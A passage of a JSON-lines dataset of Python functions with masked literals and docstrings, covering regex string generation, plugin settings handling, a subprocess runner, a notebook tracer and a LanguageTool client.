i[<NUM_LIT:1>][<NUM_LIT:0>] + limit<EOL><DEDENT>else:<EOL><INDENT>r1 = i[<NUM_LIT:1>][<NUM_LIT:0>]<EOL>r2 = i[<NUM_LIT:1>][<NUM_LIT:1>] + <NUM_LIT:1><EOL><DEDENT>ran = range(r1, r2)<EOL>if count:<EOL><INDENT>branch_count = <NUM_LIT:0><EOL>for p in ran:<EOL><INDENT>branch_count += pow(_gen(items, limit, True, grouprefs), p)<EOL><DEDENT>strings = (strings or <NUM_LIT:1>) * branch_count<EOL><DEDENT>ret = prods(ret, ran, items, limit, grouprefs)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.BRANCH:<EOL><INDENT>if count:<EOL><INDENT>for x in i[<NUM_LIT:1>][<NUM_LIT:1>]:<EOL><INDENT>strings += _gen(x, limit, True, grouprefs) or <NUM_LIT:1><EOL><DEDENT><DEDENT>ret = concit(ret, i[<NUM_LIT:1>][<NUM_LIT:1>], limit, grouprefs)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.SUBPATTERN or i[<NUM_LIT:0>] == sre_parse.ASSERT:<EOL><INDENT>subexpr = i[<NUM_LIT:1>][<NUM_LIT:1>]<EOL>if IS_PY36_OR_GREATER and i[<NUM_LIT:0>] == sre_parse.SUBPATTERN:<EOL><INDENT>subexpr = i[<NUM_LIT:1>][<NUM_LIT:3>]<EOL><DEDENT>if count:<EOL><INDENT>strings = (<EOL>strings or <NUM_LIT:1>) * (sum(ggen([<NUM_LIT:0>], _gen, subexpr, limit=limit, count=True, grouprefs=grouprefs)) or <NUM_LIT:1>)<EOL><DEDENT>ret = ggen(ret, _gen, subexpr, limit=limit, count=False, grouprefs=grouprefs, groupref=i[<NUM_LIT:1>][<NUM_LIT:0>])<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.AT:<EOL><INDENT>continue<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.NOT_LITERAL:<EOL><INDENT>subs = list(CATEGORIES['<STR_LIT>'])<EOL>if unichr(i[<NUM_LIT:1>]) in subs:<EOL><INDENT>subs.remove(unichr(i[<NUM_LIT:1>]))<EOL><DEDENT>if count:<EOL><INDENT>strings = (strings or <NUM_LIT:1>) * len(subs)<EOL><DEDENT>ret = comb(ret, subs)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.GROUPREF:<EOL><INDENT>ret = dappend(ret, grouprefs, i[<NUM_LIT:1>])<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.ASSERT_NOT:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' + repr(i))<EOL><DEDENT><DEDENT>if count:<EOL><INDENT>if strings == <NUM_LIT:0> and literal:<EOL><INDENT>inc = True<EOL>for i in d:<EOL><INDENT>if i[<NUM_LIT:0>] not in (sre_parse.AT, sre_parse.LITERAL):<EOL><INDENT>inc = False<EOL><DEDENT><DEDENT>if inc:<EOL><INDENT>strings = <NUM_LIT:1><EOL><DEDENT><DEDENT>return strings<EOL><DEDENT>return ret<EOL>", "docstring": "docstring for _gen", "id": "f4227:m8"}
{"signature": "def sre_to_string(sre_obj, paren=True):", "body": "ret = u'<STR_LIT>'<EOL>for i in sre_obj:<EOL><INDENT>if i[<NUM_LIT:0>] == sre_parse.IN:<EOL><INDENT>prefix = '<STR_LIT>'<EOL>if len(i[<NUM_LIT:1>]) and i[<NUM_LIT:1>][<NUM_LIT:0>][<NUM_LIT:0>] == sre_parse.NEGATE:<EOL><INDENT>prefix = '<STR_LIT>'<EOL><DEDENT>ret += u'<STR_LIT>'.format(prefix, sre_to_string(i[<NUM_LIT:1>], paren=paren))<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.LITERAL:<EOL><INDENT>u = unichr(i[<NUM_LIT:1>])<EOL>ret += u if u not in sre_parse.SPECIAL_CHARS else '<STR_LIT>'.format(u)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.CATEGORY:<EOL><INDENT>ret += REVERSE_CATEGORIES[i[<NUM_LIT:1>]]<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.ANY:<EOL><INDENT>ret += '<STR_LIT:.>'<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.BRANCH:<EOL><INDENT>parts = [sre_to_string(x, paren=paren) for x in i[<NUM_LIT:1>][<NUM_LIT:1>]]<EOL>if not any(parts):<EOL><INDENT>continue<EOL><DEDENT>if i[<NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>if len(parts) == <NUM_LIT:1>:<EOL><INDENT>paren = False<EOL><DEDENT>prefix = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>prefix = '<STR_LIT>'<EOL><DEDENT>branch = '<STR_LIT:|>'.join(parts)<EOL>if paren:<EOL><INDENT>ret += '<STR_LIT>'.format(prefix, branch)<EOL><DEDENT>else:<EOL><INDENT>ret += '<STR_LIT>'.format(branch)<EOL><DEDENT><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.SUBPATTERN:<EOL><INDENT>subexpr = i[<NUM_LIT:1>][<NUM_LIT:1>]<EOL>if IS_PY36_OR_GREATER and i[<NUM_LIT:0>] == sre_parse.SUBPATTERN:<EOL><INDENT>subexpr = i[<NUM_LIT:1>][<NUM_LIT:3>]<EOL><DEDENT>if i[<NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>ret += '<STR_LIT>'.format(sre_to_string(subexpr, paren=False))<EOL><DEDENT>else:<EOL><INDENT>ret += '<STR_LIT>'.format(sre_to_string(subexpr, paren=paren))<EOL><DEDENT><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.NOT_LITERAL:<EOL><INDENT>ret += '<STR_LIT>'.format(unichr(i[<NUM_LIT:1>]))<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.MAX_REPEAT:<EOL><INDENT>if i[<NUM_LIT:1>][<NUM_LIT:0>] == i[<NUM_LIT:1>][<NUM_LIT:1>]:<EOL><INDENT>range_str = '<STR_LIT>'.format(i[<NUM_LIT:1>][<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>if i[<NUM_LIT:1>][<NUM_LIT:0>] == <NUM_LIT:0> and i[<NUM_LIT:1>][<NUM_LIT:1>] - i[<NUM_LIT:1>][<NUM_LIT:0>] == sre_parse.MAXREPEAT:<EOL><INDENT>range_str = '<STR_LIT:*>'<EOL><DEDENT>elif i[<NUM_LIT:1>][<NUM_LIT:0>] == <NUM_LIT:1> and i[<NUM_LIT:1>][<NUM_LIT:1>] - i[<NUM_LIT:1>][<NUM_LIT:0>] == sre_parse.MAXREPEAT - <NUM_LIT:1>:<EOL><INDENT>range_str = '<STR_LIT:+>'<EOL><DEDENT>else:<EOL><INDENT>range_str = '<STR_LIT>'.format(i[<NUM_LIT:1>][<NUM_LIT:0>], i[<NUM_LIT:1>][<NUM_LIT:1>])<EOL><DEDENT><DEDENT>ret += sre_to_string(i[<NUM_LIT:1>][<NUM_LIT:2>], paren=paren) + range_str<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.MIN_REPEAT:<EOL><INDENT>if i[<NUM_LIT:1>][<NUM_LIT:0>] == <NUM_LIT:0> and i[<NUM_LIT:1>][<NUM_LIT:1>] == sre_parse.MAXREPEAT:<EOL><INDENT>range_str = '<STR_LIT>'<EOL><DEDENT>elif i[<NUM_LIT:1>][<NUM_LIT:0>] == <NUM_LIT:1> and i[<NUM_LIT:1>][<NUM_LIT:1>] == sre_parse.MAXREPEAT:<EOL><INDENT>range_str = '<STR_LIT>'<EOL><DEDENT>elif i[<NUM_LIT:1>][<NUM_LIT:1>] == sre_parse.MAXREPEAT:<EOL><INDENT>range_str = '<STR_LIT>'.format(i[<NUM_LIT:1>][<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>range_str = '<STR_LIT>'.format(i[<NUM_LIT:1>][<NUM_LIT:0>], i[<NUM_LIT:1>][<NUM_LIT:1>])<EOL><DEDENT>ret += sre_to_string(i[<NUM_LIT:1>][<NUM_LIT:2>], paren=paren) + range_str<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.GROUPREF:<EOL><INDENT>ret += '<STR_LIT>'.format(i[<NUM_LIT:1>])<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.AT:<EOL><INDENT>if i[<NUM_LIT:1>] == sre_parse.AT_BEGINNING:<EOL><INDENT>ret += '<STR_LIT>'<EOL><DEDENT>elif i[<NUM_LIT:1>] == sre_parse.AT_END:<EOL><INDENT>ret += '<STR_LIT:$>'<EOL><DEDENT><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.NEGATE:<EOL><INDENT>pass<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.RANGE:<EOL><INDENT>ret += '<STR_LIT>'.format(unichr(i[<NUM_LIT:1>][<NUM_LIT:0>]), unichr(i[<NUM_LIT:1>][<NUM_LIT:1>]))<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.ASSERT:<EOL><INDENT>if i[<NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>ret += '<STR_LIT>'.format(sre_to_string(i[<NUM_LIT:1>][<NUM_LIT:1>], paren=False))<EOL><DEDENT>else:<EOL><INDENT>ret += '<STR_LIT>'.format(sre_to_string(i[<NUM_LIT:1>][<NUM_LIT:1>], paren=paren))<EOL><DEDENT><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.ASSERT_NOT:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' % str(i))<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "sre_parse object to string\n\n    :param sre_obj: Output of sre_parse.parse()\n    :type sre_obj: list\n    :rtype: str", "id": "f4227:m10"}
{"signature": "def simplify(regex_string):", "body": "r = parse(regex_string)<EOL>return sre_to_string(r)<EOL>", "docstring": "Simplify a regular expression\n\n    :param regex_string: Regular expression\n    :type regex_string: str\n    :rtype: str", "id": "f4227:m11"}
{"signature": "def parse(s):", "body": "if IS_PY3:<EOL><INDENT>r = sre_parse.parse(s, flags=U)<EOL><DEDENT>else:<EOL><INDENT>r = sre_parse.parse(s.decode('<STR_LIT:utf-8>'), flags=U)<EOL><DEDENT>return list(r)<EOL>", "docstring": "Regular expression parser\n\n    :param s: Regular expression\n    :type s: str\n    :rtype: list", "id": "f4227:m12"}
{"signature": "def generate(s, limit=<NUM_LIT:20>):", "body": "return _gen(parse(s), limit)<EOL>", "docstring": "Creates a generator that generates all matching strings to a given regular expression\n\n    :param s: Regular expression\n    :type s: str\n    :param limit: Range limit\n    :type limit: int\n    :returns: string generator object", "id": "f4227:m13"}
{"signature": "def count(s, limit=<NUM_LIT:20>):", "body": "return _gen(parse(s), limit, count=True)<EOL>", "docstring": "Counts all matching strings to a given regular expression\n\n    :param s: Regular expression\n    :type s: str\n    :param limit: Range limit\n    :type limit: int\n    :rtype: int\n    :returns: number of matching strings", "id": "f4227:m14"}
{"signature": "def getone(regex_string, limit=<NUM_LIT:20>):", "body": "return _randone(parse(regex_string), limit)<EOL>", "docstring": "Returns a random matching string to a given regular expression", "id": "f4227:m15"}
{"signature": "def safe_setting(self, name_hyphen, default=None):", "body": "try:<EOL><INDENT>return self.setting(name_hyphen)<EOL><DEDENT>except UserFeedback:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Retrieves the setting value, but returns a default value rather than\nraising an error if the setting does not exist.", "id": "f4241:c0:m7"}
{"signature": "def setting(self, name_hyphen):", "body": "if name_hyphen in self._instance_settings:<EOL><INDENT>value = self._instance_settings[name_hyphen][<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\" % name_hyphen<EOL>raise UserFeedback(msg)<EOL><DEDENT>if hasattr(value, '<STR_LIT>') and value.startswith(\"<STR_LIT:$>\"):<EOL><INDENT>env_var = value.lstrip(\"<STR_LIT:$>\")<EOL>if env_var in os.environ:<EOL><INDENT>return os.getenv(env_var)<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\" % env_var<EOL>raise UserFeedback(msg)<EOL><DEDENT><DEDENT>elif hasattr(value, '<STR_LIT>') and value.startswith(\"<STR_LIT>\"):<EOL><INDENT>return value.replace(\"<STR_LIT>\", \"<STR_LIT:$>\")<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Retrieves the setting value whose name is indicated by name_hyphen.\n\nValues starting with $ are assumed to reference environment variables,\nand the value stored in environment variables is retrieved. It's an\nerror if thes corresponding environment variable it not set.", "id": "f4241:c0:m8"}
{"signature": "def setting_values(self, skip=None):", "body": "if not skip:<EOL><INDENT>skip = []<EOL><DEDENT>return dict(<EOL>(k, v[<NUM_LIT:1>])<EOL>for k, v in six.iteritems(self._instance_settings)<EOL>if not k in skip)<EOL>", "docstring": "Returns dict of all setting values (removes the helpstrings).", "id": "f4241:c0:m9"}
{"signature": "def update_settings(self, new_settings):", "body": "self._update_settings(new_settings, False)<EOL>", "docstring": "Update settings for this instance based on the provided dictionary of\nsetting keys: setting values. Values should be a tuple of (helpstring,\nvalue,) unless the setting has already been defined in a parent class,\nin which case just pass the desired value.", "id": "f4241:c0:m10"}
{"signature": "def _update_settings(self, new_settings, enforce_helpstring=True):", "body": "for raw_setting_name, value in six.iteritems(new_settings):<EOL><INDENT>setting_name = raw_setting_name.replace(\"<STR_LIT:_>\", \"<STR_LIT:->\")<EOL>setting_already_exists = setting_name in self._instance_settings<EOL>value_is_list_len_2 = isinstance(value, list) and len(value) == <NUM_LIT:2><EOL>treat_as_tuple = not setting_already_exists and value_is_list_len_2<EOL>if isinstance(value, tuple) or treat_as_tuple:<EOL><INDENT>self._instance_settings[setting_name] = value<EOL><DEDENT>else:<EOL><INDENT>if setting_name not in self._instance_settings:<EOL><INDENT>if enforce_helpstring:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise InternalCashewException(msg % setting_name)<EOL><DEDENT>else:<EOL><INDENT>self._instance_settings[setting_name] = ('<STR_LIT>', value,)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>orig = self._instance_settings[setting_name]<EOL>self._instance_settings[setting_name] = (orig[<NUM_LIT:0>], value,)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This method does the work of updating settings. Can be passed with\nenforce_helpstring = False which you may want if allowing end users to\nadd arbitrary metadata via the settings system.\n\nPreferable to use update_settings (without leading _) in code to do the\nright thing and always have docstrings.", "id": "f4241:c0:m11"}
{"signature": "def settings_and_attributes(self):", "body": "attrs = self.setting_values()<EOL>attrs.update(self.__dict__)<EOL>skip = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>for a in skip:<EOL><INDENT>del attrs[a]<EOL><DEDENT>return attrs<EOL>", "docstring": "Return a combined dictionary of setting values and attribute values.", "id": "f4241:c0:m12"}
{"signature": "def standardize_alias_or_aliases(cls, alias_or_aliases):", "body": "if isinstance(alias_or_aliases, string_types):<EOL><INDENT>return [alias_or_aliases]<EOL><DEDENT>else:<EOL><INDENT>return alias_or_aliases<EOL><DEDENT>", "docstring": "Make sure we don't attempt to iterate over an alias string thinking\nit's an array.", "id": "f4241:c1:m4"}
{"signature": "def get_reference_to_class(cls, class_or_class_name):", "body": "if isinstance(class_or_class_name, type):<EOL><INDENT>return class_or_class_name<EOL><DEDENT>elif isinstance(class_or_class_name, string_types):<EOL><INDENT>if \"<STR_LIT::>\" in class_or_class_name:<EOL><INDENT>mod_name, class_name = class_or_class_name.split(\"<STR_LIT::>\")<EOL>if not mod_name in sys.modules:<EOL><INDENT>__import__(mod_name)<EOL><DEDENT>mod = sys.modules[mod_name]<EOL>return mod.__dict__[class_name]<EOL><DEDENT>else:<EOL><INDENT>return cls.load_class_from_locals(class_or_class_name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\" % type(class_or_class_name)<EOL>raise InternalCashewException(msg)<EOL><DEDENT>", "docstring": "Detect if we get a class or a name, convert a name to a class.", "id": "f4241:c1:m5"}
{"signature": "def check_docstring(cls):", "body": "docstring = inspect.getdoc(cls)<EOL>if not docstring:<EOL><INDENT>breadcrumbs = \"<STR_LIT>\".join(t.__name__ for t in inspect.getmro(cls)[:-<NUM_LIT:1>][::-<NUM_LIT:1>])<EOL>msg = \"<STR_LIT>\"<EOL>args = (cls.__name__, breadcrumbs, cls.__module__)<EOL>raise InternalCashewException(msg % args)<EOL><DEDENT>max_line_length = cls._class_settings.get('<STR_LIT>')<EOL>if max_line_length:<EOL><INDENT>for i, line in enumerate(docstring.splitlines()):<EOL><INDENT>if len(line) > max_line_length:<EOL><INDENT>msg = \"<STR_LIT>\" <EOL>args = (i, cls.__name__, len(line) - max_line_length)<EOL>raise Exception(msg % args)<EOL><DEDENT><DEDENT><DEDENT>return docstring<EOL>", "docstring": "Asserts that the class has a docstring, returning it if successful.", "id": "f4241:c1:m7"}
{"signature": "def imro(cls):", "body": "return reversed(inspect.getmro(cls)[<NUM_LIT:0>:-<NUM_LIT:2>])<EOL>", "docstring": "Returns MRO in reverse order, skipping 'object/type' class.", "id": "f4241:c1:m14"}
{"signature": "def __iter__(cls, *instanceargs):", "body": "processed_aliases = set()<EOL>for alias in sorted(cls.plugins, cmp=lambda x,y: cmp(x.lower(), y.lower())):<EOL><INDENT>if alias in processed_aliases:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>instance = cls.create_instance(alias, *instanceargs)<EOL>instance.alias = instance.standard_alias()<EOL>yield(instance)<EOL>for alias in instance.setting('<STR_LIT>'):<EOL><INDENT>processed_aliases.add(alias)<EOL><DEDENT><DEDENT>except InactivePlugin:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Lets you iterate over instances of all plugins which are not marked as\n'inactive'. If there are multiple aliases, the resulting plugin is only\ncalled once.", "id": "f4241:c1:m15"}
{"signature": "def expand_args(command):", "body": "<EOL>if isinstance(command, (str, unicode)):<EOL><INDENT>splitter = shlex.shlex(command.encode('<STR_LIT:utf-8>'))<EOL>splitter.whitespace = '<STR_LIT:|>'<EOL>splitter.whitespace_split = True<EOL>command = []<EOL>while True:<EOL><INDENT>token = splitter.get_token()<EOL>if token:<EOL><INDENT>command.append(token)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>command = list(map(shlex.split, command))<EOL><DEDENT>return command<EOL>", "docstring": "Parses command strings and returns a Popen-ready list.", "id": "f4246:m3"}
{"signature": "def run(command, data=None, timeout=None, kill_timeout=None, env=None, cwd=None):", "body": "command = expand_args(command)<EOL>history = []<EOL>for c in command:<EOL><INDENT>if len(history):<EOL><INDENT>data = history[-<NUM_LIT:1>].std_out[<NUM_LIT:0>:<NUM_LIT:10>*<NUM_LIT>]<EOL><DEDENT>cmd = Command(c)<EOL>try:<EOL><INDENT>out, err = cmd.run(data, timeout, kill_timeout, env, cwd)<EOL>status_code = cmd.returncode<EOL><DEDENT>except OSError as e:<EOL><INDENT>out, err = '<STR_LIT>', u\"<STR_LIT:\\n>\".join([e.strerror, traceback.format_exc()])<EOL>status_code = <NUM_LIT><EOL><DEDENT>r = Response(process=cmd)<EOL>r.command = c<EOL>r.std_out = out<EOL>r.std_err = err<EOL>r.status_code = status_code<EOL>history.append(r)<EOL><DEDENT>r = history.pop()<EOL>r.history = history<EOL>return r<EOL>", "docstring": "Executes a given commmand and returns Response.\n\n    Blocks until process is complete, or timeout is reached.", "id": "f4246:m4"}
{"signature": "def connect(command, data=None, env=None, cwd=None):", "body": "<EOL>command_str = expand_args(command).pop()<EOL>environ = dict(os.environ)<EOL>environ.update(env or {})<EOL>process = subprocess.Popen(command_str,<EOL>universal_newlines=True,<EOL>shell=False,<EOL>env=environ,<EOL>stdin=subprocess.PIPE,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>bufsize=<NUM_LIT:0>,<EOL>cwd=cwd,<EOL>)<EOL>return ConnectedCommand(process=process)<EOL>", "docstring": "Spawns a new process from the given command.", "id": "f4246:m5"}
{"signature": "@property<EOL><INDENT>def status_code(self):<DEDENT>", "body": "return self._status_code<EOL>", "docstring": "The status code of the process.\n        If the code is None, assume that it's still running.", "id": "f4246:c1:m3"}
{"signature": "@property<EOL><INDENT>def pid(self):<DEDENT>", "body": "return self._process.pid<EOL>", "docstring": "The process' PID.", "id": "f4246:c1:m4"}
{"signature": "def kill(self):", "body": "return self._process.kill()<EOL>", "docstring": "Kills the process.", "id": "f4246:c1:m5"}
{"signature": "def expect(self, bytes, stream=None):", "body": "if stream is None:<EOL><INDENT>stream = self.std_out<EOL><DEDENT>", "docstring": "Block until given bytes appear in the stream.", "id": "f4246:c1:m6"}
{"signature": "def send(self, str, end='<STR_LIT:\\n>'):", "body": "return self._process.stdin.write(str+end)<EOL>", "docstring": "Sends a line to std_in.", "id": "f4246:c1:m7"}
{"signature": "def block(self):", "body": "self._status_code = self._process.wait()<EOL>", "docstring": "Blocks until command finishes. Returns Response instance.", "id": "f4246:c1:m8"}
{"signature": "def run_cell(self, cell):", "body": "globals = self.ipy_shell.user_global_ns<EOL>locals = self.ipy_shell.user_ns<EOL>globals.update({<EOL>\"<STR_LIT>\": None,<EOL>})<EOL>try:<EOL><INDENT>with redirect_stdout(self.stdout):<EOL><INDENT>self.run(cell, globals, locals)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>self.code_error = True<EOL>if self.options.debug:<EOL><INDENT>raise BdbQuit<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.finalize()<EOL><DEDENT>", "docstring": "Run the Cell code using the IPython globals and locals\n\n        Args:\n            cell (str): Python code to be executed", "id": "f4257:c0:m1"}
{"signature": "def user_call(self, frame, argument_list):", "body": "self.get_stack_data(frame, None, '<STR_LIT>')<EOL>", "docstring": "This method is called when there is the remote possibility that we\n        ever need to stop in this function.", "id": "f4257:c0:m2"}
{"signature": "def user_line(self, frame):", "body": "self.get_stack_data(frame, None, '<STR_LIT>')<EOL>", "docstring": "This function is called when we stop or break at this line.", "id": "f4257:c0:m3"}
{"signature": "def user_return(self, frame, return_value):", "body": "self.get_stack_data(frame, None, '<STR_LIT>')<EOL>", "docstring": "This function is called when a return trap is set here.", "id": "f4257:c0:m4"}
{"signature": "def user_exception(self, frame, exc_info):", "body": "pass<EOL>", "docstring": "This function is called if an exception occurs,\n        but only if we are to stop at or just below this level.", "id": "f4257:c0:m5"}
{"signature": "def is_notebook_frame(self, frame):", "body": "return \"<STR_LIT>\" in frame.f_globals.keys()<EOL>", "docstring": "Return True if the current frame belongs to the notebook, else\n        False", "id": "f4257:c0:m6"}
{"signature": "def is_other_cell_frame(self, frame):", "body": "return frame.f_code.co_filename.startswith(\"<STR_LIT>\")<EOL>", "docstring": "Return True if the current frame belongs to the Cell, else\n        False", "id": "f4257:c0:m7"}
{"signature": "def get_stack_data(self, frame, traceback, event_type):", "body": "heap_data = Heap(self.options)<EOL>stack_data = StackFrames(self.options)<EOL>stack_frames, cur_frame_ind = self.get_stack(frame, traceback)<EOL>for frame_ind, (frame, lineno) in enumerate(stack_frames):<EOL><INDENT>skip_this_stack = False<EOL>if frame_ind == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if len(stack_data) > self.options.depth:<EOL><INDENT>skip_this_stack = True<EOL>break<EOL><DEDENT>if (not self.is_notebook_frame(frame) or<EOL>self.is_other_cell_frame(frame)):<EOL><INDENT>if not self.options.step_all:<EOL><INDENT>skip_this_stack = True<EOL>break<EOL><DEDENT>lineno = <NUM_LIT:0>  <EOL><DEDENT>else:<EOL><INDENT>lineno += <NUM_LIT:1>  <EOL><DEDENT>user_locals = filter_dict(<EOL>frame.f_locals,<EOL>ignore_vars + list(self.ipy_shell.user_ns_hidden.keys())<EOL>)<EOL>stack_data.add(frame, lineno, event_type, user_locals)<EOL>heap_data.add(user_locals)<EOL><DEDENT>if not skip_this_stack and not stack_data.is_empty():<EOL><INDENT>self.trace_history.append(<EOL>stack_data,<EOL>heap_data,<EOL>self.stdout.getvalue()<EOL>)<EOL><DEDENT>", "docstring": "Get the stack frames data at each of the hooks above (Ie. for each\n        line of the Python code)", "id": "f4257:c0:m8"}
{"signature": "def finalize(self):", "body": "self.trace_history.sort_frame_locals()<EOL>", "docstring": "Finalize the trace history data after execution is complete", "id": "f4257:c0:m9"}
{"signature": "def filter_dict(d, exclude):", "body": "ret = {}<EOL>for key, value in d.items():<EOL><INDENT>if key not in exclude:<EOL><INDENT>ret.update({key: value})<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Return a new dict with specified keys excluded from the origional dict\n\n    Args:\n        d (dict): origional dict\n        exclude (list): The keys that are excluded", "id": "f4259:m0"}
{"signature": "@contextmanager<EOL>def redirect_stdout(new_stdout):", "body": "old_stdout, sys.stdout = sys.stdout, new_stdout<EOL>try:<EOL><INDENT>yield None<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout = old_stdout<EOL><DEDENT>", "docstring": "Redirect the stdout\n\n    Args:\n        new_stdout (io.StringIO): New stdout to use instead", "id": "f4259:m1"}
{"signature": "def format(obj, options):", "body": "formatters = {<EOL>float_types: lambda x: '<STR_LIT>'.format(x, options.digits),<EOL>}<EOL>for _types, fmtr in formatters.items():<EOL><INDENT>if isinstance(obj, _types):<EOL><INDENT>return fmtr(obj)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if six.PY2 and isinstance(obj, six.string_types):<EOL><INDENT>return str(obj.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>return str(obj)<EOL><DEDENT>except:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Return a string representation of the Python object\n\n    Args:\n        obj: The Python object\n        options: Format options", "id": "f4259:m2"}
{"signature": "def get_type_info(obj):", "body": "if isinstance(obj, primitive_types):<EOL><INDENT>return ('<STR_LIT>', type(obj).__name__)<EOL><DEDENT>if isinstance(obj, sequence_types):<EOL><INDENT>return ('<STR_LIT>', type(obj).__name__)<EOL><DEDENT>if isinstance(obj, array_types):<EOL><INDENT>return ('<STR_LIT>', type(obj).__name__)<EOL><DEDENT>if isinstance(obj, key_value_types):<EOL><INDENT>return ('<STR_LIT>', type(obj).__name__)<EOL><DEDENT>if isinstance(obj, types.ModuleType):<EOL><INDENT>return ('<STR_LIT>', type(obj).__name__)<EOL><DEDENT>if isinstance(obj, (types.FunctionType, types.MethodType)):<EOL><INDENT>return ('<STR_LIT>', type(obj).__name__)<EOL><DEDENT>if isinstance(obj, type):<EOL><INDENT>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return ('<STR_LIT:class>', obj.__name__)<EOL><DEDENT><DEDENT>if isinstance(type(obj), type):<EOL><INDENT>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>cls_name = type(obj).__name__<EOL>if cls_name == '<STR_LIT>':<EOL><INDENT>cls_name = obj.__name__<EOL>return ('<STR_LIT:class>', '<STR_LIT:{}>'.format(cls_name))<EOL><DEDENT>if cls_name == '<STR_LIT>':<EOL><INDENT>cls_name = obj.__class__.__name__<EOL><DEDENT>return ('<STR_LIT>', '<STR_LIT>'.format(cls_name))<EOL><DEDENT><DEDENT>return ('<STR_LIT>', type(obj).__name__)<EOL>", "docstring": "Get type information for a Python object\n\n    Args:\n        obj: The Python object\n\n    Returns:\n        tuple: (object type \"catagory\", object type name)", "id": "f4259:m3"}
{"signature": "def which(program):", "body": "if os.path.split(program)[<NUM_LIT:0>]:<EOL><INDENT>program_path = find_exe(program)<EOL>if program_path:<EOL><INDENT>return program_path<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for path in get_path_list():<EOL><INDENT>program_path = find_exe(os.path.join(path, program))<EOL>if program_path:<EOL><INDENT>return program_path<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Identify the location of an executable file.", "id": "f4266:m0"}
{"signature": "def print_unicode(text):", "body": "if sys.version_info[<NUM_LIT:0>] < <NUM_LIT:3>:<EOL><INDENT>text = text.encode('<STR_LIT:utf-8>')<EOL><DEDENT>print(text)<EOL>", "docstring": "Print in a portable manner.", "id": "f4269:m3"}
{"signature": "def _consume(stdout):", "body": "while stdout.readline():<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Consume/ignore the rest of the server output.\n\n    Without this, the server will end up hanging due to the buffer\n    filling up.", "id": "f4271:m2"}
{"signature": "def correct(text: str, matches: [Match]) -> str:", "body": "ltext = list(text)<EOL>matches = [match for match in matches if match.replacements]<EOL>errors = [ltext[match.offset:match.offset + match.errorlength]<EOL>for match in matches]<EOL>correct_offset = <NUM_LIT:0><EOL>for n, match in enumerate(matches):<EOL><INDENT>frompos, topos = (correct_offset + match.offset,<EOL>correct_offset + match.offset + match.errorlength)<EOL>if ltext[frompos:topos] != errors[n]:<EOL><INDENT>continue<EOL><DEDENT>repl = match.replacements[<NUM_LIT:0>]<EOL>ltext[frompos:topos] = list(repl)<EOL>correct_offset += len(repl) - len(errors[n])<EOL><DEDENT>return '<STR_LIT>'.join(ltext)<EOL>", "docstring": "Automatically apply suggestions to the text.", "id": "f4271:m3"}
{"signature": "def get_version():", "body": "version = _get_attrib().get('<STR_LIT:version>')<EOL>if not version:<EOL><INDENT>match = re.search(r\"<STR_LIT>\", get_directory())<EOL>if match:<EOL><INDENT>version = match.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>return version<EOL>", "docstring": "Get LanguageTool version.", "id": "f4271:m5"}
{"signature": "def get_build_date():", "body": "return _get_attrib().get('<STR_LIT>')<EOL>", "docstring": "Get LanguageTool build date.", "id": "f4271:m6"}
